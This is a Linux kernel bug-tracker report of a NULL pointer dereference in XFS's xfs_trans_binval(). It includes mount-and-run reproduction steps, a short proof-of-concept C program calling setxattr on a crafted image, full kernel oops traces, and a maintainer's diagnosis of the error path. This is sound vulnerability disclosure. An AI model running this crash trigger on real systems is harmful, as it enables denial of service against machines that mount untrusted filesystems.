Bug 199969

Summary: NULL pointer dereference in xfs_trans_binval() when mounting and operating a crafted xfs image
Product: File System Reporter: Wen Xu (wen.xu)
Component: XFSAssignee: FileSystem/XFS Default Virtual Assignee (filesystem_xfs)
Status: NEW ---    
Severity: normal CC: sandeen, wen.xu
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 4.17-rc7 Tree: Mainline
Regression: No
Attachments: The (compressed) crafted image which causes crash
Kernel config

Description Wen Xu 2018-06-07 20:36:51 UTC
- Overview
NULL pointer dereference in xfs_trans_binval() when mounting and operating a crafted xfs image

- Reproduce
# mkdir mnt
# mount -t xfs 0.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *xattr;
  int err;

  err = asprintf(&xattr, "%s/foo/bar/xattr", mpoint);

  // xattr
  char buf2[113];
  memset(buf2, 0, sizeof(buf2));
  setxattr(xattr, "user.md5", buf2, sizeof(buf2), XATTR_CREATE);

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel Message
[  330.099346] BUG: unable to handle kernel NULL pointer dereference at 00000000000000e8
[  330.101061] PGD 80000001e0c03067 P4D 80000001e0c03067 PUD 1de4d2067 PMD 0
[  330.102498] Oops: 0000 [#1] SMP KASAN PTI
[  330.103324] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too qxl crct10dif_pclmul drm_kms_helper syscopyarea crc32_pclmul sysfillrect sysimgblt fb_sys_fops ttm drm aesni_intel aes_x86_64 crypto_simd cryptd 8139cp glue_helper mii pata_acpi floppy
[  330.113023] CPU: 0 PID: 1348 Comm: a.out Tainted: G    B   W         4.17.0-rc5+ #7
[  330.114576] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  330.116510] RIP: 0010:xfs_trans_binval+0x24/0x1b0
[  330.117476] RSP: 0018:ffff8801de3e75b0 EFLAGS: 00010292
[  330.118549] RAX: 0000000000000000 RBX: ffff8801de3e79c0 RCX: 0000000000000000
[  330.120002] RDX: 0000000000000000 RSI: 0000000000000297 RDI: 0000000000000297
[  330.121458] RBP: ffff8801de3e75d8 R08: ffffed003e803ebb R09: ffffed003e803ebb
[  330.122911] R10: 0000000000000001 R11: ffffed003e803eba R12: ffff8801eb128460
[  330.124374] R13: 0000000000000001 R14: 0000000000000000 R15: ffff8801eb128460
[  330.125829] FS:  00007fb348ac0700(0000) GS:ffff8801f4000000(0000) knlGS:0000000000000000
[  330.127474] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  330.128659] CR2: 00000000000000e8 CR3: 00000001e9efc000 CR4: 00000000000006f0
[  330.130106] Call Trace:
[  330.130628]  xfs_da_shrink_inode+0x15e/0x2d0
[  330.131511]  ? xfs_da3_swap_lastblock+0xcb0/0xcb0
[  330.132488]  xfs_attr_shortform_to_leaf+0x483/0x4d0
[  330.133490]  ? xfs_attr3_leaf_add+0x370/0x370
[  330.134389]  ? kasan_unpoison_shadow+0x36/0x50
[  330.135306]  ? kasan_kmalloc+0xad/0xe0
[  330.136082]  ? __kmalloc+0x11f/0x240
[  330.136837]  ? kmem_alloc+0x91/0x120
[  330.137579]  ? kmem_alloc+0x91/0x120
[  330.138327]  ? xfs_attr_shortform_bytesfit+0x119/0x2a0
[  330.139385]  ? memset+0x31/0x40
[  330.140041]  xfs_attr_set+0x5e2/0x730
[  330.140814]  ? xfs_attr_get+0x230/0x230
[  330.141613]  ? save_stack+0xb5/0xd0
[  330.142339]  ? __kmalloc_node+0x11e/0x2e0
[  330.143169]  ? kvmalloc_node+0x75/0x80
[  330.143945]  ? setxattr+0x114/0x260
[  330.144682]  ? path_setxattr+0x134/0x170
[  330.145493]  ? __x64_sys_setxattr+0x6d/0x80
[  330.146356]  ? do_syscall_64+0x78/0x170
[  330.147156]  ? legitimize_path.isra.28+0x61/0xa0
[  330.148107]  xfs_xattr_set+0x66/0xb0
[  330.148909]  __vfs_setxattr+0x7c/0xa0
[  330.149669]  __vfs_setxattr_noperm+0x8d/0x200
[  330.150563]  vfs_setxattr+0xb3/0xc0
[  330.151286]  setxattr+0x1b3/0x260
[  330.151974]  ? vfs_setxattr+0xc0/0xc0
[  330.152741]  ? filename_lookup+0x191/0x280
[  330.153582]  ? filename_parentat+0x2b0/0x2b0
[  330.154458]  ? kasan_kmalloc+0xad/0xe0
[  330.155232]  ? kasan_check_write+0x14/0x20
[  330.156072]  ? strncpy_from_user+0xa8/0x1c0
[  330.156944]  ? __mnt_is_readonly.part.13+0x23/0x30
[  330.157923]  ? __mnt_want_write+0x9d/0xb0
[  330.158749]  path_setxattr+0x134/0x170
[  330.159523]  ? setxattr+0x260/0x260
[  330.160255]  __x64_sys_setxattr+0x6d/0x80
[  330.161086]  do_syscall_64+0x78/0x170
[  330.161843]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  330.162870] RIP: 0033:0x7fb3485e11fa
[  330.163605] RSP: 002b:00007fff0ecbe3c8 EFLAGS: 00000202 ORIG_RAX: 00000000000000bc
[  330.165142] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fb3485e11fa
[  330.166577] RDX: 00007fff0ecbe4b0 RSI: 0000000000401498 RDI: 0000000000bce0c0
[  330.168018] RBP: 00007fff0ecbe530 R08: 0000000000000001 R09: 0000000000000001
[  330.169470] R10: 0000000000000071 R11: 0000000000000202 R12: 0000000000400c20
[  330.170906] R13: 00007fff0ecbe630 R14: 0000000000000000 R15: 0000000000000000
[  330.172351] Code: 4d 85 e4 75 d7 eb 81 66 66 66 66 90 55 48 89 e5 41 57 49 89 ff 41 56 48 8d be e8 00 00 00 41 55 41 54 53 49 89 f6 e8 0c 14 cc ff <4d> 8b a6 e8 00 00 00 66 66 66 66 90 49 8d 9c 24 90 00 00 00 48
[  330.176167] RIP: xfs_trans_binval+0x24/0x1b0 RSP: ffff8801de3e75b0
[  330.177431] CR2: 00000000000000e8
[  330.178160] ---[ end trace e7495c72c0d9a35f ]---

- Reason
https://elixir.bootlin.com/linux/latest/source/fs/xfs/xfs_trans_buf.c#L610
bp is NULL when calling xfs_trans_binval().

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.
Comment 1 Wen Xu 2018-06-07 20:37:17 UTC
Created attachment 276373 [details]
The (compressed) crafted image which causes crash
Comment 2 Wen Xu 2018-06-07 20:37:41 UTC
Created attachment 276375 [details]
Kernel config
Comment 3 Eric Sandeen 2018-06-07 20:46:30 UTC
> - Kernel Message
> [  330.099346] BUG: unable to handle kernel NULL pointer dereference at
> 00000000000000e8

In general can you please include all messages starting from when the filesystem is mounted?  There may be clues there (sure we can reproduce but it's nice to have more info in the bug.)

Thanks,
-Eric
Comment 4 Wen Xu 2018-06-07 20:48:33 UTC
- Full kernel message (4.17-rc7)
[   75.039713] XFS (loop0): Mounting V4 Filesystem
[   75.047205] XFS (loop0): Ending clean mount
[   77.640513] XFS (loop0): xfs_buf_find: daddr 0x22a2a2a28 out of range, EOFS 0x10000
[   77.642279] WARNING: CPU: 2 PID: 1508 at fs/xfs/xfs_buf.c:602 xfs_buf_find.isra.27+0x463/0x5e0
[   77.642281] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 soundcore mac_hid ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear qxl drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm drm 8139too crct10dif_pclmul crc32_pclmul aesni_intel aes_x86_64 crypto_simd cryptd glue_helper 8139cp mii pata_acpi floppy
[   77.642519] CPU: 2 PID: 1508 Comm: a.out Not tainted 4.17.0-rc7-no-kasan+ #1
[   77.642521] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   77.642524] RIP: 0010:xfs_buf_find.isra.27+0x463/0x5e0
[   77.642526] RSP: 0018:ffffa5c04233b828 EFLAGS: 00010292
[   77.642528] RAX: 0000000000000000 RBX: ffff8babe3eae300 RCX: 0000000000000000
[   77.642529] RDX: 00000000ffffffc0 RSI: 000000000000000a RDI: ffffffff8c2fdecb
[   77.642531] RBP: ffffa5c04233b8b0 R08: 0000000000000000 R09: 0000000000000000
[   77.642532] R10: 000000022a2a2a28 R11: f000000000000000 R12: ffff8babe3eae318
[   77.642533] R13: ffffa5c04233b8c8 R14: 0000000000000001 R15: ffff8babe3eae318
[   77.642536] FS:  00007f198519b700(0000) GS:ffff8babef280000(0000) knlGS:0000000000000000
[   77.642538] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   77.642539] CR2: 0000000000d8f008 CR3: 0000000428c3e000 CR4: 00000000000006e0
[   77.642548] Call Trace:
[   77.642570]  xfs_buf_get_map+0x44/0x2c0
[   77.642582]  xfs_trans_get_buf_map+0x11a/0x1a0
[   77.642592]  xfs_da_get_buf+0xbd/0xf0
[   77.642603]  xfs_attr3_leaf_create+0x6b/0x210
[   77.642607]  xfs_attr_shortform_to_leaf+0x18a/0x2f0
[   77.642609]  ? xfs_attr_shortform_to_leaf+0x18a/0x2f0
[   77.642615]  ? kmem_zone_alloc+0x8f/0x110
[   77.642617]  ? kmem_zone_alloc+0x8f/0x110
[   77.642620]  xfs_attr_set+0x3a0/0x4c0
[   77.642632]  xfs_xattr_set+0x4f/0x90
[   77.642652]  ? dput+0x2e/0x140
[   77.642659]  __vfs_setxattr+0x6b/0x90
[   77.642663]  __vfs_setxattr_noperm+0x70/0x1b0
[   77.642665]  vfs_setxattr+0xa7/0xb0
[   77.642667]  setxattr+0x133/0x1b0
[   77.642686]  ? _cond_resched+0x1a/0x50
[   77.642698]  ? kmem_cache_alloc+0x16b/0x1e0
[   77.642701]  ? getname_flags+0x56/0x1f0
[   77.642704]  ? _cond_resched+0x1a/0x50
[   77.642706]  path_setxattr+0xaa/0xe0
[   77.642708]  __x64_sys_setxattr+0x2b/0x30
[   77.642726]  do_syscall_64+0x5a/0x110
[   77.642732]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   77.642738] RIP: 0033:0x7f1984cbc1fa
[   77.642740] RSP: 002b:00007ffc72d9df78 EFLAGS: 00000206 ORIG_RAX: 00000000000000bc
[   77.642742] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1984cbc1fa
[   77.642743] RDX: 00007ffc72d9dfa0 RSI: 00000000004007a5 RDI: 0000000000d8f080
[   77.642745] RBP: 00007ffc72d9e020 R08: 0000000000000001 R09: 0000000000000000
[   77.642746] R10: 0000000000000071 R11: 0000000000000206 R12: 0000000000400550
[   77.642747] R13: 00007ffc72d9e120 R14: 0000000000000000 R15: 0000000000000000
[   77.642749] Code: 0f 85 99 01 00 00 48 83 c4 60 5b 41 5c 41 5d 41 5e 41 5f 5d c3 48 89 c1 48 c7 c2 b0 a3 04 8c 48 c7 c6 b0 c2 31 8c e8 1d 8e 01 00 <0f> 0b c7 45 98 8b ff ff ff eb ba 65 8b 05 6b ce c1 74 89 c0 48
[   77.642783] ---[ end trace 017184b7072d9ba2 ]---
[   77.642833] BUG: unable to handle kernel NULL pointer dereference at 00000000000000e8
[   77.644454] PGD 800000042470b067 P4D 800000042470b067 PUD 42b02a067 PMD 0
[   77.645827] Oops: 0000 [#1] SMP PTI
[   77.646545] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 soundcore mac_hid ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear qxl drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm drm 8139too crct10dif_pclmul crc32_pclmul aesni_intel aes_x86_64 crypto_simd cryptd glue_helper 8139cp mii pata_acpi floppy
[   77.655908] CPU: 2 PID: 1508 Comm: a.out Tainted: G        W         4.17.0-rc7-no-kasan+ #1
[   77.657571] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   77.659435] RIP: 0010:xfs_trans_binval+0x16/0x110
[   77.660388] RSP: 0018:ffffa5c04233b9b0 EFLAGS: 00010292
[   77.661434] RAX: 0000000000000000 RBX: ffffa5c04233bb60 RCX: 0000000000000001
[   77.662847] RDX: ffffa5c04233b9fc RSI: 0000000000000000 RDI: ffff8babe69d0000
[   77.664268] RBP: ffffa5c04233b9d0 R08: 0000000000000001 R09: ffff8babeec03800
[   77.665682] R10: 0000000000000000 R11: 0000000000000081 R12: ffff8babe69d0000
[   77.667094] R13: ffff8babe69d0000 R14: 0000000000000000 R15: 0000000000000001
[   77.668516] FS:  00007f198519b700(0000) GS:ffff8babef280000(0000) knlGS:0000000000000000
[   77.670118] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   77.671262] CR2: 00000000000000e8 CR3: 0000000428c3e000 CR4: 00000000000006e0
[   77.672687] Call Trace:
[   77.673193]  xfs_da_shrink_inode+0x93/0x170
[   77.674038]  xfs_attr_shortform_to_leaf+0x2b8/0x2f0
[   77.675015]  ? kmem_zone_alloc+0x8f/0x110
[   77.675832]  ? kmem_zone_alloc+0x8f/0x110
[   77.676642]  xfs_attr_set+0x3a0/0x4c0
[   77.677385]  xfs_xattr_set+0x4f/0x90
[   77.678109]  ? dput+0x2e/0x140
[   77.678731]  __vfs_setxattr+0x6b/0x90
[   77.679472]  __vfs_setxattr_noperm+0x70/0x1b0
[   77.680447]  vfs_setxattr+0xa7/0xb0
[   77.681157]  setxattr+0x133/0x1b0
[   77.681832]  ? _cond_resched+0x1a/0x50
[   77.682592]  ? kmem_cache_alloc+0x16b/0x1e0
[   77.683436]  ? getname_flags+0x56/0x1f0
[   77.684224]  ? _cond_resched+0x1a/0x50
[   77.684986]  path_setxattr+0xaa/0xe0
[   77.685714]  __x64_sys_setxattr+0x2b/0x30
[   77.686525]  do_syscall_64+0x5a/0x110
[   77.687271]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   77.688295] RIP: 0033:0x7f1984cbc1fa
[   77.689021] RSP: 002b:00007ffc72d9df78 EFLAGS: 00000206 ORIG_RAX: 00000000000000bc
[   77.690527] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1984cbc1fa
[   77.691953] RDX: 00007ffc72d9dfa0 RSI: 00000000004007a5 RDI: 0000000000d8f080
[   77.693371] RBP: 00007ffc72d9e020 R08: 0000000000000001 R09: 0000000000000000
[   77.694789] R10: 0000000000000071 R11: 0000000000000206 R12: 0000000000400550
[   77.696217] R13: 00007ffc72d9e120 R14: 0000000000000000 R15: 0000000000000000
[   77.697635] Code: c3 18 4c 89 e6 e8 eb 89 9d 00 48 8b 03 48 85 c0 75 e8 eb a8 90 66 66 66 66 90 55 48 89 e5 41 56 41 55 49 89 f6 41 54 49 89 fd 53 <4c> 8b a6 e8 00 00 00 66 66 66 66 90 41 f6 84 24 a0 00 00 00 04
[   77.701383] RIP: xfs_trans_binval+0x16/0x110 RSP: ffffa5c04233b9b0
[   77.702612] CR2: 00000000000000e8
[   77.703337] ---[ end trace 017184b7072d9ba3 ]---
Comment 5 Eric Sandeen 2018-06-07 20:54:45 UTC
Thank you :)
Comment 6 Wen Xu 2018-06-07 20:57:04 UTC
(In reply to Eric Sandeen from comment #5)
> Thank you :)

No problem! I would like to provide any further information or testing.
Comment 7 Eric Sandeen 2018-06-07 21:04:52 UTC
Yep I think you are correct, on this path:

        error = xfs_attr3_leaf_create(args, blkno, &bp);
        if (error) {
                error = xfs_da_shrink_inode(args, 0, bp);

xfs_attr3_leaf_create may have errored out w/o ever setting bp based on the blkno being out of range.